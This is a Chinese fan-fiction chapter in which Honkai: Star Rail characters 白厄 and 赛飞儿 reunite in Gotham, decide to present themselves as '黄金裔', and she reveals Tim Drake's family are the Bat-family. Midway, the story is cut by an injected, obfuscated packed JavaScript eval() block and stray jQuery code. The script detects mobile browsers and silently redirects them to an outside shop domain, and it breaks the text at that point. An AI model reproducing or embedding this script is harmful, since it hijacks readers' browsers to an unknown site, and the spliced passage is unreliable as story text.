白厄从韦恩庄园回来的时候，两只手都没空着。
阿尔弗雷德给他装了一盒刚烤好的曲奇，用漂亮的铁盒装着，系了根深蓝色的丝带。迪克塞给他一件韦恩庄园的纪念T恤，说是“以后你来哥谭大学篮球赛可以穿这个加油”。提姆什么都没塞，但在白厄上车之前跟他说了一句“下次再来”。
白厄靠在厨房的台面上，手里捧着杯子，看着窗外哥谭灰蒙蒙的天际线。从这儿能看到东区那片矮矮的屋顶，和更远处的港口吊机。阳光从云层的缝隙里漏下来，在东区的房子上画出一块块不大不小的光斑，那些光斑在灰色的墙面上显得格外亮，亮得有点不真实。
哥谭这个地方挺好的。
她不像那些大城市那样光鲜亮丽，她的好是藏起来的，你得在这儿待一阵子才能慢慢感觉到。那些在街角开了一辈子杂货铺的老头，那些会在下雨天给你多套一个塑料袋的超市老板娘，那些在深夜巡逻、穿得像一只大蝙蝠、不需要任何人跟他说“谢谢”的义警。
她内外都破败不堪，但在这座灰暗的城市里，她确实长出了希望的种子。
他觉得，自己也该为这座城市出点力。
哥谭的超级英雄够多了，而且他们干得挺好。白厄想做的是一些更小的、更具体的事情。比如晚上出门散步的时候顺手解决几个不长眼的小混混，比如帮邻居找回被偷的自行车，比如——总之，在看到需要帮忙的事情时，不假装没看见。
说干就干。白厄换了件深色的外套，把头发压进帽子里，走出了公寓。
哥谭的夜晚来得很早。白厄走在东区边缘的一条街上，路灯有一盏没一盏地亮着，脚下的路面坑坑洼洼的，前几天下过雨留下的积水还没干透。他把手插在口袋里，脚步不快不慢，耳朵留意着周围的动静。
他走了大概十分钟，什么都没发生。
又走了五分钟，还是什么都没发生。
白厄开始怀疑自己是不是被哥谭的犯罪率数据骗了。不是说这儿是全美最危险的城市吗？怎么他每次专门出来找事的时候，事都不来找他？
他正想着，前面的巷子里传来一阵窸窸窣窣的声音。
白厄的脚步快了起来。
他走到巷口，深吸一口气，做好了“喝止坏人、解救好人”的准备，然后探出半个头——
巷子里什么都没有。
没有人，没有声音，只有一只灰猫蹲在垃圾桶上，用一种“你瞅啥”的表情看着他。
白厄和那只猫对视了三秒。
“你刚才是不是在学人走路？”他问那只猫。
猫没理他，跳下垃圾桶走了。
白厄叹了口气，转过身准备继续往前走。
“……救世小子？”
白厄的脚步骤然停住。
这个声音。
这个称呼。
世界上只有一个人会这么叫他。
他猛地转过身。
一个银灰色短发的女孩蹲在他身后的路灯柱上，两只手撑着下巴，蓝色的眼睛在路灯下亮得像两盏小灯。她穿着一身蓝黑色系的轻便衣服，腰间挂着一个小包，整个人看起来像一只停在灯柱上的猫。
“赛飞儿小姐？！”白厄的声音拔高了一个调。
“嘘——”赛飞儿把食指竖在嘴唇前面，表情严肃得不像是在开玩笑，“大晚上的，喊这么大声，你是想让整个东区都知道哥谭盗圣的真实名字吗？”
白厄把嘴闭上了，但他脸上的表情关不上，他的眼睛瞪得老大，嘴巴抿着但嘴角在上扬。
赛飞儿从路灯柱上跳下来，轻得像一片被风吹下来的叶子，落地的时候一点声音都没有。她站在原地，双手抱胸，歪着头打量着白厄。
“怎么了？看到我这么激动？”
白厄深吸了一口气，像是想说什么，但又找不到合适的话。即使他已经在新闻头条里得知那可能是赛飞儿，但亲眼见证远比猜想来的震撼。
“你怎么在这儿？”他终于憋出了一句话。
“我在问你呢。”赛飞儿往前走了两步，绕着白厄转了一圈，“我在这个城市待了快两个月了，怎么今天才碰上你？你才来的哥谭？”
“你在哥谭待了两个月？”
“对啊。”
“我在哥谭也快两个月了。”
两个人对视了一秒。
“哥谭真大。”赛飞儿说。
“确实大。”白厄点头。
他们站在东区那条没什么人的街上，路灯把两个人的影子拉得长长的，交叠在一起，像两条交叉的路。白厄看着赛飞儿的脸，他在无数次日升月落中见过她。在翁法罗斯奥赫玛的台阶上、在每一次轮回的缝隙中都会出现的猫。
“你还好吗？”他问。
赛飞儿眨了眨眼。“你指哪方面？”
“各方面。”
赛飞儿想了想，“还行吧。”她说，“在这个世界待了一阵子，觉得……也没那么糟。你呢？”
“我也还行。”白厄说，“上了大学，交了新朋友，住的地方有热水，楼下便利店的老板人挺好。”
赛飞儿“嗯”了一声，“走吧，”她说，“找个地方坐坐。站大街上聊天像什么样子。”
赛飞儿带路。两个人走过几条街，拐了几个弯，上了一栋看起来废弃了很久的建筑。楼梯很窄，转弯的地方堆着不知道谁留下的旧家具，墙上的涂鸦一层盖一层。赛飞儿走得很熟练，显然不是第一次来了。
顶层的门是锁着的，但赛飞儿从腰包里掏出一根铁丝，捅了两下，锁就开了。她推开门，夜风一下子涌了进来，带着哥谭港口的水腥味和远处城市的热闹。
这是哥谭大钟楼的顶层。
从这儿看下去，整个哥谭像一张铺开的地图。东区的灯最暗，钻石区最亮，港口那边有一排长长的橙色光带，是码头的吊灯。远处有几栋高楼亮着灯，白色的、蓝色的、红色的，像散落在棋盘上的棋子。
赛飞儿走到边缘，在栏杆上坐下来，两只脚悬在外面晃来晃去。白厄站在她旁边，靠着栏杆，看着这座灰黑色的城市在天际线下安静地呼吸。
“你知道我住东区附近？”白厄问。
“不知道。”赛飞儿说，“我今晚就是出来走走，走到这条街的时候，看到一个白毛在东张西望，心想这谁啊这么像白厄，走近一看还真是你。”
“你在哥谭做什么？”
“偷东西。”赛飞儿理直气壮。
白厄沉默了一秒。“……你在翁法罗斯偷，你来这个世界还偷？”
“这叫职业素养。”赛飞儿晃着腿，“而且我只偷坏人的，你别用那种眼神看我。”
“我没看你。”
“你在心里谴责我了。”
白厄没有否认。他靠在栏杆上，看着远处港口的方向，沉默了一会儿。
“你碰到其他人了吗？”他问。
赛飞儿摇了摇头。“你是第一个我真正意义上碰到的人。”
白厄皱起眉头。“其他人都没见着？”
“没看到。”赛飞儿说，“这个世界太大了，十三个人扔进来，跟十三粒沙子洒进海里一样，碰到的概率本来就不高。”
白厄点了点头。
“不过我知道还有一个人在哪。”赛飞儿忽然说。
白厄转过头看她。
“遐蝶。”
白厄的眼睛亮了。“她在哪儿？”
“冥界。”
白厄：：？
赛飞儿把杰森的故事简单说了一遍——一个男人，死过一次，在坟墓里看到了一个紫色头发，穿着白裙子的、手里拿着镰刀的女人。她的声音很轻，描述得很细致，把遐蝶的样子说得清清楚楚。
“他是我的朋友。”赛飞儿说，“他说遐蝶跟他聊了一会儿，然后他就复活了。”
白厄沉默了，“她怎么在哪个世界都往冥界跑啊。”
“我刚才也是这么想的。”
两个人对视了一眼，同时叹了口气。
“你有办法去冥界找她吗？”白厄问。
赛飞儿伸出手，在空气里抓了两下，像是在感受什么。
“我用「诡计」得到的神速力，在这个世界被压得挺厉害的。从东区跑到大教堂都要喘一会儿，你让我从这个世界跑到冥界去？”
白厄也伸出手，握了握拳，又松开。
“我这边也是。力量还在，但和之前比差远了。”他想了想，又补了一句，“我连侵晨都没叫出来过。”
“你现在叫出来我看看。”
“不。”
“为什么？”
“这地方太小了，我怕把楼拆了。”
赛飞儿看着他，确认他是不是在吹牛。白厄的表情很认真。赛飞儿决定相信他。
“所以你的意思是，”赛飞儿说，“我们暂时找不到她？”
“对。”白厄点头。
赛飞儿把两条腿从栏杆外面收回来，盘腿坐着，两只手撑着下巴，看着哥谭的夜景。
“那其他人呢？”她问。
白厄想了想。“肯定也在。十三个人，不可能只有我们两个和遐蝶在。只是不知道他们在哪。”
“那怎么找？”
白厄沉默了一会儿。
“要是他们能上电视就好了。”他说，“那种全美都能看到的新闻，一打开电视就看到‘哥谭出现一个奇怪的人’之类的，我们就能顺着找过去。”
赛飞儿歪着头想了想。“哥谭天天都有那种新闻。‘东区又出事了’‘企鹅人又被抓了’‘蝙蝠侠又打人了’，普通人都懒得看了。”
白厄皱了皱眉。“那得是更大的事。”
“多大？”
白厄转过头看着她。“比如说……拯救一次哥谭？”
赛飞儿盯着他看了两秒，“想法不错，救世小子。”
她从栏杆上跳下来，走到白厄面前，仰头看着他。
“我有预感，”她说，声音比刚才低了一些，“哥谭很快就要大乱了。”
白厄的表情没有变化，但他的目光沉了一点。
“你感觉到了什么？”
“我这阵子在哥谭转了一圈，发现这座城市的平衡挺脆弱的。那些坏人不是不存在，他们只是在等一个机会。等他们找到那个机会——”
她没有说完，但白厄听懂了。
白厄不希望哥谭出事。这座城市对他很好，他很领情。
但如果真的要出事，他也不怕。
“你说得对。”白厄说。
“怎么？”
“拯救一次哥谭很有盼头。”
赛飞儿扬起眉毛。“你还真打算干啊？”
白厄靠在栏杆上，双手抱胸，看着远处的天际线。
“我之前在想，这个世界的我和翁法罗斯的我有什么不同。”他说，“在翁法罗斯，我的每一个选择都关系到世界的存亡，我是‘救世主’。但在这个世界，我只是一个大学生。没有人需要我拯救，没有人等着我做决定，我做什么都不会影响世界的命运。”
“这不是挺好的吗？”赛飞儿说。
“是挺好的。”白厄说，“但有时候我会觉得……不太习惯。”
赛飞儿看着他，没说话。
“我不是说我想回翁法罗斯。”白厄赶紧补了一句，“那个地方挺好的，但我暂时不太想回去。我只是觉得，既然我在这儿，既然我有这个能力，那我应该做点什么。”
赛飞儿想了想。
“你打算怎么做？”
白厄想了想。
“还没想好。”
赛飞儿忍不住笑了。“救世小子，你要在哥谭当超级英雄，连计划都没有？”
“蝙蝠侠有计划吗？”
“蝙蝠侠的计划就是每天晚上出去打人。”
“那我也每天晚上出去打人。”
“你打人犯法。”
“蝙蝠侠打人也犯法。”
赛飞儿张了张嘴，又闭上了。她发现自己居然没法反驳这句话。
“行了行了，”她摆摆手，“你想打就打吧，我不拦你。不过我要说正事了。”
白厄看着她。
“你和我，”赛飞儿的手指在空中画了一个圈，把两个人圈在里面，“我们这种能力，在这个世界是不属于‘常规超能力’的。”
白厄点头。他知道。很多地方都有超能力者，中心城有，大都会也有。但他们这种来自另一个世界、由另一个体系赋予的力量，和这个世界的超能力者不在同一个频道上。别人检测超能力，用的是波长、频率、能量反应这些参数。他们的能力——白厄也不知道那是什么参数。
“如果有人发现我们，”赛飞儿说，“不一定会把我和你想成正常人。”
白厄明白她的意思。
“所以你的意思是——”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17556421|203960||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>“我们得先立个名头。”赛飞儿说，“不是给自己立，是给他们立。让他们知道这个世界来了一群新人，让他们觉得这只是一件很普通的事，不用大惊小怪。”
“怎么立？”
“黄金裔。”
白厄愣了一下。
赛飞儿看着他，蓝色的眸子在夜色里闪烁。
“我们是'黄金裔'。在翁法罗斯为了完成逐火之旅而存在，但在这个世界，只是一个名头而已。若是有人想要查探我们的底细，那就让他们查去吧，查出来的就是我们想让他们知道的，查不出来的——”
“就是他们不需要知道的。”白厄接过话。
赛飞儿笑了。“对。”
白厄想了想，“好。听起来很酷的样子”
赛飞儿拍了拍手，从栏杆上跳下来，走到白厄旁边，和他并肩站着，看着哥谭的夜景。
“那就这么定了。”她说。
风从港口那边吹过来，把两个人的头发吹得乱七八糟。白厄的白头发和赛飞儿的灰白短发在空中缠了一下，又分开了。
他们又在钟楼上站了一会儿，看着哥谭的灯光一点一点地暗下去。夜更深了，远处港口的吊灯也关了几盏，只剩下钻石区那边还亮着，像一堆烧不完的炭。
“你那个朋友，”赛飞儿忽然开口，“提姆。”
白厄转过头。“怎么了？”
“韦恩集团的小少爷。”
“对。”
赛飞儿看了他一眼，嘴角微微弯了一下，带着一种“你是不是还不知道”的表情。
白厄皱起眉头。“你这是什么表情？”
“没什么。”赛飞儿说，“就是觉得……你这个朋友交得挺好的。”
“当然好。”白厄说，“怎么了？你是不是知道什么我不知道的？”
赛飞儿歪着头想了想，好像在考虑要不要现在告诉他。
“你想知道？”她问。
“想。”
“想好了？”
“你到底说不说？”
赛飞儿笑了，从栏杆上跳下来，拍了拍裙子，朝楼梯口走去。
“换个地方再说。”
白厄跟上她。“为什么？”
“因为这句话说出来，你可能需要坐下来听。”
他们从大钟楼的顶层下来，走到了钟楼中部的一个小平台上。这儿有几级台阶，赛飞儿一屁股坐下去，拍了拍旁边的位置。
白厄坐下来。
“说吧。”
赛飞儿深吸一口气。
“你的好朋友提姆，是红罗宾。”
白厄看着她。
“韦恩集团的小少爷。”赛飞儿继续说，“他养父布鲁斯·韦恩，是蝙蝠侠。”
白厄继续看着她。
“他大哥迪克·格雷森，是夜翼。他另一个养兄杰森·陶德，就是那个死于小丑之手的，我刚才跟你说的那个死了一次，在冥界碰到遐蝶然后复活的朋友，是红头罩。”
白厄的嘴巴微微张开了。
赛飞儿说完了，安静地坐在旁边，等他消化。
钟楼下面的街道上偶尔有车经过，车灯的光扫上来，在墙上画出一道道光影。远处传来一声警笛，很快又消失了。
白厄眨了眨眼。
“我今天早上在他们家吃的早饭。”
“我知道。”
“阿尔弗雷德给我泡了茶。大吉岭。”
“嗯。”
“迪克让我下次去的时候带他打篮球。”
“他挺喜欢你的。”赛飞儿说。
白厄转过头，用一种很复杂的表情看着她。
“提姆那个家伙，”他说，声音里带着一点委屈，“他瞒了我这么久。”
“你瞒他的事也不少吧。”
白厄张了张嘴，又闭上了。
“你说得对。”白厄说，“我也瞒了他一些事。”
赛飞儿拍了拍他的肩膀。
“没关系啦，救世小子。反正你们已经是朋友了，这些东西以后可以慢慢说。”
白厄想了想，点了点头。
然后他忽然笑了。
“哥谭的日子越来越有盼头了。”
赛飞儿看着他。“你心态真好。”
“那当然。”白厄站起来，“走吧，我请你喝东西。”
“这附近没什么像样的咖啡店。”
“我住的楼下有一个便利店，有热可可。”
赛飞儿想了想。“……行吧。”
“对了，赛飞儿，你平时住哪？”
“嗯……随遇而安。”
“什么意思？”
“就是今天住这儿，明天住那儿。看心情，看天气，看房东有没有装门锁。”
白厄看了她一眼。
“我租的那个公寓，”他说，“隔壁那间屋子还没人租。房东说那间房子风水不好，一直租不出去，干脆就送给我了。我现在拿它当杂物间，堆了一些纸箱和用不上的东西。”
赛飞儿看着他。
“你要是没地方住的话，”白厄说，“我回去收拾一下，把那间给你腾出来。”
赛飞儿没有立刻回答。
她走在白厄旁边，脚步不快不慢，路灯的光从她脸上滑过去，又滑过来。她的表情看不太清楚，但白厄注意到她的嘴角微微弯着。
“谢谢啊，救世主。”她说。
她的声音不大，但很清楚。
“不客气。”白厄说。
“那我这周搬过去。”赛飞儿说。
“随时都行。”
“那个杂货间，有窗户吗？”
“有。朝东的，早上能晒到太阳。”
“那我要那间。”
白厄笑了。“本来就是给你的。”
他们走过最后一条街，转了个弯，白厄公寓楼下便利店的灯光照过来，暖暖的，橘黄色的，照在他们两个人的脸上。
便利店的自动门打开了，里面的暖气涌出来，带着咖啡和关东煮的味道。
白厄推开玻璃门，赛飞儿跟在他后面，两个人一前一后地走进去，不过是两个普通得不能再普通的年轻人，在哥谭一个普通得不能再普通的夜晚，买两杯普通得不能再普通的热可可。
柜台后面的老头看了他们一眼，目光在赛飞儿的猫耳上停了一瞬，然后移开了。
哥谭，什么怪人都有。不差这一个。